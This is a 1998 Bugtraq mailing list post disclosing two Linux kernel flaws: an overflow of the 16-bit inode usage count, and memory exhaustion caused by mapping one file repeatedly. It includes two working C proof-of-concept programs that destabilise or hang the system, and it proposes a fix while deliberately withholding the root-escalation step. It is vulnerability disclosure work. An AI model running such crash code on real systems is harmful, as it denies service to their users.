Bugtraq mailing list archives
Linux inode.i_count overflow
From: aleph1 () DFW DFW NET (Aleph One)
Date: Wed, 14 Jan 1998 10:21:39 -0600
http://www.ms.mff.cuni.cz/~jkot2155/linuxbug.html While I was working on my master thesis (Emulation of [1]Classic Operating Systems in [2]Distributed Environment), I found following two nasty things in Linux sources: i_count Overflow Security Hole Member i_count in struct inode contains the usage count. It is of type unsigned short, which is only 16-bit long on i386. Unfortunately, it is not enough. You can make it overflow by mapping one file many times: #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> void main() { int fd, i; fd = open("/lib/libc.so.5", O_RDONLY); for(i = 0; i < 65540; i++) { mmap((char*)0x50000000 + (0x1000 * i), 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0); } } Warning: This program will cause unpredictable behavior of the whole system!!! While killing this program kernel will print many messages: VFS: iput: trying to free free inode After executing the program, there will be free inode which is actually mapped in other processes. The only think you need to grab root privileges is opening your modified libc in original inode and making system to use it. It is a little tricky magic with inode cache and memory manager. I will not publish it here to avoid misuse of this security hole. To fix this bug simply change the i_count type to unsigned long. Related links * [3]Reply to my linux-security post Crashing System by Eating Memory This topic is related to previous one. The Linux memory manager allocates small chunk (64 bytes) of memory for every file mapping. By mapping one file many times, a process can eat all available memory and actually stop the system responding even for root. You can do it by executing one or more instances of program like this: #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <stdio.h> void main() { int fd, i; char *name; char *address; name = tmpnam(NULL); fd = open(name, O_RDWR | O_CREAT); unlink(name); address = (char*)0x1000; for(i = 0; ; i++) { /* skip program interpreter */ if(address == (char*)0x08000000) address = (char*)0x09000000; else /* skip program itself */ if(address == (char*)0x40000000) address = (char*)0x41000000; else /* skip program stack and kernel */ if(address == (char*)0xBF000000) break; if(mmap(address, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == (void*) -1) break; if(!(i&0xFFF)) fprintf(stderr, "%d done\n", i); address += 0x1000; } fprintf(stderr, "%i (%08x) total, press Ctrl+C\n", i, address); for(;;) pause(); } Warning: This program will cause unpredictable behavior of the whole system!!! Every instance of the program will eat about 32MB of RAM if running in typical Linux configuration. Although you can avoid users to eat resources this way by setting resource limits properly this effect can be considered to be a Linux bug. Linux is protected to avoid allocating all process slots by normal users. There are reserved MIN_TASKS_LEFT_FOR_ROOT slots for root. So there should be also protection to avoid allocating all memory by normal users. _________________________________________________________________ I am not a Linux expert, so please don't upset if these thinks are well known. Feel free to send me comments. [4]Jan.Kotas () acm org January 11, 1998 References 1. http://www.linux.org/ 2. http://ulita.ms.mff.cuni.cz/pub/t4/ 3. http://www.ms.mff.cuni.cz/~jkot2155/linuxbug/wolff.txt.iso-8859-1 4. mailto:Jan.Kotas () acm org
Current thread:
- Linux inode.i_count overflow Aleph One (Jan 14)
- Re: Linux inode.i_count overflow Alan Cox (Jan 14)
- Re: Linux inode.i_count overflow David LeBlanc (Jan 14)
- Re: Linux inode.i_count overflow Pete (Jan 14)
- Re: Linux inode.i_count overflow Casper Dik (Jan 14)
- Re: Linux inode.i_count overflow Alan Cox (Jan 14)